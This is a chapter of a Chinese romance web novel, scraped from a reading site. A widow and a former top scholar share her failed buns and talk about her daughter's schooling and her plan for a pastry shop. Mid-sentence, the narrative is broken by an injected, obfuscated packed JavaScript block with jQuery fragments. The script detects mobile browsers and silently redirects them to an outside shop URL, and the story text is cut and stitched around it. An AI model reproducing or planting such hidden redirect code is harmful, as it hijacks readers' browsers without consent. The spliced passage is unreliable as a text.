123读书网 > 都市小说 > 守寡再婚后,亡夫回来了 > 32. 第 32 章
    这晚上,沈婉仪和柳青砚一人吃了两个馒头就没再吃其他东西了。


    沈婉仪庆幸自己做出来的馒头不算很多,毕竟她这馒头的个头不是太小,要不是有柳青砚的帮助,她估计她这馒头是吃不完的了。


    而且她自己吃完两个馒头也是有些勉强的,毕竟她这馒头做得并不成功,吃到后面简直味同嚼蜡。


    但这是她的惩罚,她是定是要吃完的,但看见柳青砚也主动请缨陪她吃馒头,沈婉仪有种连累了他的感觉。


    柳青砚脸上倒是看不出什么,他甚至是一口气吃完,不知道的还以为这馒头有多好吃。


    沈婉仪在一旁都看得有些哽住了,她见他放下筷子,立马倒了些水递过去,“很噎吧,你其实没必要陪着我一起吃馒头的。”


    柳青砚摇了摇头,“之前饿肚子的时候,什么都吃得下,若当时有馒头,恐怕要抢着吃才能吃上。”


    “阿婉,不过两个馒头而已,不是什么大不了的事。”


    沈婉仪虽听他这样说,但仍不觉得轻松多少,她平生就很少麻烦人,偏偏到了柳青砚这里,却总是一而再再而三地麻烦他。


    虽说大多是他“自找麻烦”,但给别人造成负累的感觉让她总是想要回报他些什么。


    “阿婉,你今晚为何只能吃这个?”


    沈婉仪想都没想就回答,“这是我的惩罚。”


    柳青砚听得皱眉,“惩罚?”


    沈婉仪见他的表情,知道他定是误会了,于是连忙解释了这惩罚的来龙去脉,“......霁月就让我今晚只能吃馒头。”


    “婉婉,我理解你们感情好,但其实你也不用完全听江姑娘的。”


    她刚刚吃得困难也是硬是要吃完的模样,看得实在让人不爽。


    沈婉仪对此不以为然,而且很能理解她的好友,“还是怪我走了神,所以才失败了,霁月也是好意,想让我下次专注些。”


    “阿婉想什么走了神,竟然是为此才失败的吗?”


    “在想你......”说到“你”时沈婉仪才察觉不妥,忙把后面的话咽了回去。


    但柳青砚却耳尖的听到了那个“你”字,目不转睛地瞧着她,期待她接下来的话。


    沈婉仪看着柳青砚的眼神,忽然不知道怎么开口,她总不能告诉柳青砚,我那时在想选你做夫君挺合适的吧。


    “......在想你是不是已经把阿盈接回来了。”


    她有些生硬地转移了话题,但说完她又有些后悔。


    外祖母曾教她不能撒谎来着,她自己也教孩子不能撒谎,但是她在柳青砚面前却总是为着不同的事瞒着他。


    但照江霁月的说法,她这也算善意的谎言吧?不然如果真的把实话说出来,那她们两人现在该有多尴尬?


    柳青砚听到她的话后,眼里闪烁的期待光芒一下黯淡下来,他恍若无事发生地答她的话,“今日下值早了些,去相府的时候阿盈都还没出来,于是便进去与老师打了个招呼。”


    提起这事,沈婉仪倒是想起来这一晃眼,梁盈都去私塾快半个月了。


    “这半月都是你去接阿盈回来的,可有碰见过阿盈的教书先生?他有说过阿盈怎么样吗?”


    “遇见过的。崔老先生教学生还是有自己一套法子的。”


    “对阿盈这些年纪小的孩子,专拣浅白易懂的字句教,辅以趣味典故引着性子,教她们好奇的同时也不忘钻研;对张逸思般大的孩子,则教他们深抠文义章法,兼考经世致用,为他们之后参加科举打下根基。”


    张逸思这个名字沈婉仪有些耳熟,最后想起来,这是丞相的嫡长孙,现在应是十一岁左右了。


    “他倒是与我谈起过阿盈的念书情况,他说阿盈若是有人看着那念起书写起字来那是相当专心致志的,若没人看着......”


    柳青砚顾忌着梁盈的面子没有把话说全,但沈婉仪不用猜都知道他要说什么。


    “若没人看着,那是书也不念了,字也不写了,只顾着玩了。”


    柳青砚笑了笑,“阿婉,你还挺了解阿盈的。”


    沈婉仪无奈,“我是她娘亲,自然了解她了。”


    “对了,先生可说她与其他孩子相处得如何?”


    梁盈虽机灵,但她这机灵的性子可没用在念书上,这点沈婉仪是早就知道的,是以她也没指望梁盈去了私塾后一下就能把性子转变过来。


    但她知道梁盈不仅机灵还总是爱灵机一动去干点什么事,为着这点,梁盈去相府之前她已是千叮咛万嘱咐过的,沈婉仪就怕她去了相府之后闯下什么祸事来。


    特别是相府之中还有梁盈相熟的人——曲瑶和曲连奚。


    曲连奚沈婉仪都没有那么担心,倒是曲瑶,她也是个爱玩的性子,梁盈和她走到一起只会更加无法无天起来。


    比如上次在永兴寺,若不是柳青砚将人给人给送回来,可不知道要发生什么事,想到此,沈婉仪不由得又是一阵后怕。


    柳青砚看出了她眉眼间的担忧,忍下了想为她抚平眉头的冲动,缓声道,“阿盈和那些孩子相处的挺好的,交了不少朋友呢。”


    “只是先生说她偶尔因为会和几个孩子发生一些口角,不过都无伤大雅。”


    听到发生口角,沈婉仪还是忍不住下意识地想追问,不过话到嘴边,她还是选择没有问出口,这些事她去问当事人显然更能问的明白一些。


    但她还是忍不住低头喃喃,“阿盈这脾性,十打十的和她父亲一个样。”


    她说完,神色如常地去倒水喝,却见柳青砚唇边笑意未减,只是眼神却平静无波地看着她。


    沈婉仪端起茶盏喂到唇边的手稍微顿了一下,后知后觉地察觉自己在柳青砚面前提起了梁钺。


    但她并未因此而感到不妥,她和梁钺成亲并有了一个女儿的事在上京城可谓是无人不知无人不晓的,柳青砚定然也知晓,她又不必隐瞒什么。


    她喝了口茶,心底没有半分芥蒂,又接着刚刚的话继续聊,她说起梁盈的性子和她父亲有多相像,“我与梁钺相识时他也是个无法无天的性子,我弟弟偏还把他当做大哥似的整日跟他他后面跑,梁钺就......”


    “阿婉,你明日还要去江姑娘那里吗?”


    终是听不下去她与那人之前的生活有多甜蜜,柳青砚还是忍不住打断了她。


    沈婉仪被他突然开口的话问得一愣,“啊?”旋即回答道,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061426|192630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “要的。”


    “怎么问起这个?”


    “没什么,就是想问问你最近在做些什么。”


    柳青砚见她没再提梁钺了,为她续上杯中的茶水,示意她接着说。


    “我去和霁月学做糕点了。对了,说起这个,日后若是御史台的事务繁多,你不能去接阿盈时,你便直接派人去汇康街往怀安姐走的第七间院子寻我。”


    江霁月租的小厨房便在此处。


    柳青砚刚刚那平静无波的眼神并没有让沈婉仪意识到他心中的不快,于是当话题被柳青砚带着过渡到沈婉仪的日常上的时候,沈婉仪也并未多想。


    “学做糕点啊......”柳青砚骨节修长的手指有节奏地敲击着桌面,他重复着沈婉仪的话,陷入某种遐想。


    他似乎是想到了什么令人高兴的事,他忽的语调上扬,眼睛弯成新月,笑眯眯地问道,“阿婉,那我岂不是日后可以吃到好多你亲手做的美食?”


    沈婉仪想了想今日做的那坑坑洼洼的馒头,如果那也算美食的话——


    “如果你不介意的话......”


    “阿婉做的东西我怎么会介意呢?能吃到阿婉亲手做的糕点,该是我的荣幸才对。”


    沈婉仪看着柳青砚这无比真挚的模样,内心居然莫名地有些心虚起来,柳青砚这帽子似乎给她戴的太高了些。


    她讪讪地笑了笑,有些不太确定的给他提醒,“可能没有那么好吃,也有可能会很难吃。”


    “无碍。阿婉,你尽管大胆地去做吧,学做糕点便是要不断试错的,无论成功或者失败,你尽管把东西带回了便是,我一定会都不浪费全部吃光的。”


    沈婉仪的心忽地像被刷子挠了那么一下。


    她说不上来什么感觉,为了打消这奇怪的感觉,她像是不经意般随口提到日后的打算。


    “日后做得好了,我打算和霁月一起开个铺子卖这些糕点。”


    沈婉仪心里清楚,这世道本就轻商,士农工商,商字偏居最末,任谁靠着营生赚得盆满钵满,在旁人眼里也不过是逐利的俗人,登不得大雅之堂。


    出身商贾的人,皇亲贵族、世家子弟瞧不上,文人雅士也多有鄙夷。


    沈婉仪即使出自国公府,倘若日后亲自去抛头露面,做些生意,恐怕也是遭人指点的。就连她父母,沈婉仪也不敢一口咬定他们就会支持她。


    想到这,她不动声色地打量柳青砚脸上的表情。


    就是不知道这昔日的探花郎,又如何看待她这打算呢?


    柳青砚对上她打量的视线,神色沉静温和,眉眼间皆是缱绻的温柔,“阿婉聪明伶俐,想来铺子日后定会生意兴隆。”


    他的语气里满是笃定,字字都透着让人安心的力量,让人有种莫名的信服。


    “日后我若休沐,不知阿婉是否介意我来帮你的忙?”


    夜风顺着雕花窗的窗缝溜进来,灯火葳蕤,映照出柳青砚眼底的满室柔光,以及他唇边的浅浅笑意。


    沈婉仪望着他清俊又柔和的眉眼,像是被什么蛊惑了似的,下意识地便温声答应了一个“好”字。


    “那倒时还请阿婉多指教了。”


    柳青砚笑着道。